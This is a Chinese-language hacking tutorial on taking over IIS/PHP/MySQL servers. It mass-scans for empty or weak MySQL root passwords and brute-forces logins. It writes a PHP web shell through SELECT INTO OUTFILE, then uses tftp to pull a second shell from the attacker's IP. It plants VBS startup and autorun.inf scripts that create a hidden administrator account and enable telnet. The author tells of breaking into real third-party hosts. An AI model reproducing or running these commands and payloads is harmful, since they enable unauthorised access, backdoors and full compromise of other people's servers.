MYSQL攻击全攻略

来源:百度文库 编辑:神马文学网 时间:2024/04/28 08:09:24
最近好象很流行SQL攻击,SQL Injection的教程有如雨后春笋,不过这里我不谈SQL-SERVER,来谈谈MYSQL吧。SQL-SERVER的空口令管理员往往都很警惕,但MYSQL就不那么敏感了,因为很多管理员认为MYSQL没有SQL-SERVER那样的扩展储存,所以很多网站都疏于防范,这就给了我们的机会,MYSQL+PHP常常被称为完美组合,许多论坛也是这个结构,下面我就是针对IIS+PHP+MYSQL来讨论的,接着往下看吧!
一、PHP/MySQL简介
SQL(结构化查询语言)是世界上最流行和标准化的数据库语言,它使得存储、更新和存取信息更容易。例如,你能用SQL语言为一个网站检索产品信息及存储顾客信息,同时MySQL也足够快速和灵活以允许你存储记录文件和图像。
MySQL是一个真正的多用户、多线程SQL数据库服务器。它是以一个客户机/服务器结构的实现,它由一个服务器守护程序mysqld和很多不同的客户程序和库组成。MySQL 主要目标是快速、健壮和易用。MySQL建立的基础是业已用在高要求的生产环境多年的一套实用例程。尽管MySQL仍在开发中,但它已经提供一个丰富和极其有用的功能集。
PHP是一种服务器端解释的脚本语言。如果你接触过ASP的话,那么您对于在HTML页面中嵌入代码应该是比较熟悉了。PHP代码在服务器一端被解释转变成普通的HTML页面内容,送给浏览器一端。这种模式使得我们可以用它来完成相当复杂的功能。
二、如何获得MYSQL弱口令的主机
相信这是读者们最关心的事情,其实只要利用两个工具就可以轻松搞定。
工具:HScan v1.20
MysqlCheck
HScan v1.20运行在Windows NT/2000/XP 下,其采用多线程方式对指定IP段或主机列表,进行漏洞、弱口令账号、匿名用户检测的工具,扫描项目包括name、port、ftp、ssh、telnet、smtp、finger、iis、cgi、pop、rpc、ipc、imap、mssql、mysql、cisco、plugin...
它可以大面积扫出有MYSQL弱口令的主机,我曾经随便扫描了一个C类网段,竟然有为数不少的弱口令主机,还有一个竟然是政府主机,真是令人毛骨悚然。其扫描格式为:
hscan -h 192.168.0.1 192.168.0.254 -ping -mysql
-ping就是扫描前先PING,不过现在ISP供应商大多都封了PING,所有一般不推荐加上这个参数。结果如下:(图1)
此主题相关图片如下:

图1
上面即发现了ROOT密码为空的机器,不过,如果没猜出弱口令也没有关系,我们还可以选择暴力破解,这就要用到MysqlCheck了,首先找到MYSQL主机(也可以用扫描器扫开放3306、445端口的主机,因为MYSQL默认端口为3306,而且多半是NT),输入对方IP,配置好字典后就可以开始破解了,不过缺点就是速度有点慢,每分钟60个左右,而且CPU占有率非常高,猜不猜得出来就看你的运气了!
三、得到弱口令之后的提升权限
这里,我们先介绍两个工具:
1、牛族SuperMysql连接器 V1.7—傻瓜化的软件
特点:
1)可以无需安装MYSQL数据库,用SuperMysql连接器可以连接远程MYSQL数据库。
2)远程数据库表直接显示在程序的显示框中,无需手工输入指令。
3)程序绑定了两个MYSQL指令。
修改了两个绑定功能:
a)远程更改密码时可以自己定义密码。
b)可以自定义创建的远程帐号和密码。
2、MYSQL自带连接器
虽然是命令行的,但是很稳定哦。
上面所说的两个工具都很容易上手,首先来讲讲利用“牛族SuperMysql连接器 V1.7”来得到SHELL吧。下面总结一下网上流行的思路:
1)通过漏洞或直觉猜解到Web的物理路径,然后写入ASP或PHP的SHELL,接着提升权限。
2)在每个盘符的根目录下写入autorun.inf与一个能建立用户的VBS脚本。
3)通过利用Folder.htt,desktop.ini让管理员执行任意命令。
4)往启动组内写入建立用户的VBS脚本。
这样大家就应该有个底了吧,现在来看实际操作,
我首先通过HScan v1.20得到一所XX信息港的MYSQL密码为空,接着我启动了牛族SuperMysql连接器 V1.7连了上去,如图2所示:
此主题相关图片如下:

图2
接着,我为了得到物理路径,试着在一个PHP下载软件系统,提交
http://xxx.xxx.xxx.xxxx.xxx/soft/show.php?id=74381'
返回如图3
此主题相关图片如下:

图3
我很幸运,轻松地得到了Web的物理地址,虽然没有盘符,但是就那么几个盘,很容易猜的。
然后,我在牛族SuperMysql连接器 V1.7的最上面的空白处输入:
use mysql;
点发送命令,显示“命令use mysql;发送成功!”改指令是进入名为mysql的数据库,然后
create table shuangfeng(cmd TEXT)
选择在名为mysql的库中建一个名叫shuangfeng的表,这个表只有一个字段名叫cmd,数据类型为TEXT。然后发送命令:
insert into shuangfeng values("")
这就是在shuangfeng的表里写入,其实这就是PHPSHELL的原代码,简单吧!PHP的功能可是很强大的。然后输入:
select * from tmp into outfile "c:\\www\\htdocs\\soft\\shuangfeng.php"
返回“命令发送失败”。继续提交:
select * from shuangfeng into outfile "d:\\www\\htdocs\\soft\\shuangfeng.php"
返回“发送成功”。然后提交:
drop table shuangfeng
上面的命令就是把shuangfeng表的里的数据导出到d:\www\htdocs\soft\存为shuangfeng.php,接着删除shuangfeng的表。
然后我就访问URL:
http://xxx.xxx.xxx.xxxx.xxx/soft/shuangfeng.php?c=dir c:,结果如图四所示:
此主题相关图片如下:

图4
返回了对方C盘里的文件,但是这个PHPSHELL用起来很麻烦,也很难看,所以我再次传了一个PHPSHELL上去了:
http://xxx.xxx.xxx.xxxx.xxx/soft/shuangfeng.php?c=tftp -i myip get phpshell
上传完毕后,我再访问URL:
http://xxx.xxx.xxx.xxxx.xxx/soft/phpshell.php
返回如图5所示:
此主题相关图片如下:

图5
这样的SHELL就好多了,然后就是提升权限了。先看看可否建立目录:
md c:\‘\"Program File"\shuangfeng
结果提示拒绝访问,看来C盘是有权限的拉,接着
MD D:\shuangfeng
返回“命令成功完成”。
看来D盘是没有权限限制的,然后看看开了什么服务吧,输入“net start”,我们将会看到该计算机中已经运行的服务。通过分析,我们得出两个有用的服务:MySql、Serv-U FTP Server。
接下来的思路就很明确了:找到MYSQL或Serv-U的存放地点,然后把木马上传到那个目录,把原启动程序更名,再把木马更改成原启动程序的名字,因为C盘是NTFS的,所有如果放在Program Files,WINNT等等之类的目录下的话都没有权限更改,仔细看了一下,原来MYSQL和SERV-U都放在Program Files下,看来是没希望了,不过我们还可以往启动组内写入建立用户的VBS脚本,继续依次提交命令:
use test;
create table 2(cmd TEXT);
insert into 2 values ("dim wsh")
……
//往名称为2的表里写入VBS代码,然后
select * from tmp into outfile "C:\\Documents and Settings\\all users\\「开始」菜单\\程序\\启动\\1.vbs"
drop table tmp
这里用来将表导出到C:\Documents and Settings\all users\「开始」菜单\程序\启动\1.VBS文件中。
(注意所有的"要用""代替)
上面要写入的VBS脚本代码如下:
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run " net user shuangfeng www.54hack.org /add ",0
wsh.run "net localgroup administrators shuangfeng /add",0
wsh.run "net start telnet",0
重启后将会建立了一个名为shuangfeng,密码是www.54hack.org的用户了,并且开了telnet。
如果速度快的话可以利用一下MS03043漏洞,重启后就TELNET上去.如果读者们不能象我一样幸运但可以看到物理路径的话就只能猜咯。
再来讲讲利用MYSQL自带的连接器入侵吧,首先当然是先连接咯,在CMD里输入:
mysql -h ip -u用户名 -p密码
这样就可以连接到对方的MYSQL,连接上去后就可以输入像上面一样输入命令,不过这样一行一行输入好象很烦琐,我们可以制作一个SQL脚本来一次完成,制作过程如下:
1.首先打开记事本,把要运行的SQL语句都打上去,这里我输入:
use mysql;
create table tmp(cmd TEXT)
insert into 2 values ("dim wsh")
insert into 2 values ("set wsh=CreateObject(""WScript.Shell"")")
insert into 2 values ("wsh.run ""net.exe user aaa aa /add"",0")
insert into 2 values ("wsh.run ""net localgroup administrators aaa /add"",0")
insert into 2 values ("wsh.run "net start telnet",0")
select * from tmp into outfile "C:\\Documents and Settings\\all users\\「开始」菜单\\程序\\启动\\1.vbs"
drop table tmp
然后保存为shuangfeng.sql,再在CMD里输入:
mysql -h ip -u用户名 -p密码 <回车后,就自动输入上面的语句了,如果在每行代码前都添加“insert into tmp values(‘”,末尾都添加“‘)”的话,工程量是可想而知的,所以我就用了一个特殊文本编辑器--易优超级字典生成器注册版,它有一个小功能,在“修改字典”里,如图6有两个选项,一个是“在每个密码前插入字符串”另一个是“在每个密码后插入字符串”不过由于版面的原因,我这就不再告诉怎么用了,大家自己研究一下吧!不过注意所有的"都要用""代替。如果要用autorun.inf与VBS来执行命令的话,就用上面的方法把autorun.inf和VBS导出到各个盘的根目录吧,autorun.inf如下:
[AutoRun]
OPEN= 2.vbs
VBS脚本代码就跟2.VBS一样,剩下的就是等管理员上勾了,
random把此帖设为精华,作者得到1000可用分50分专家分:)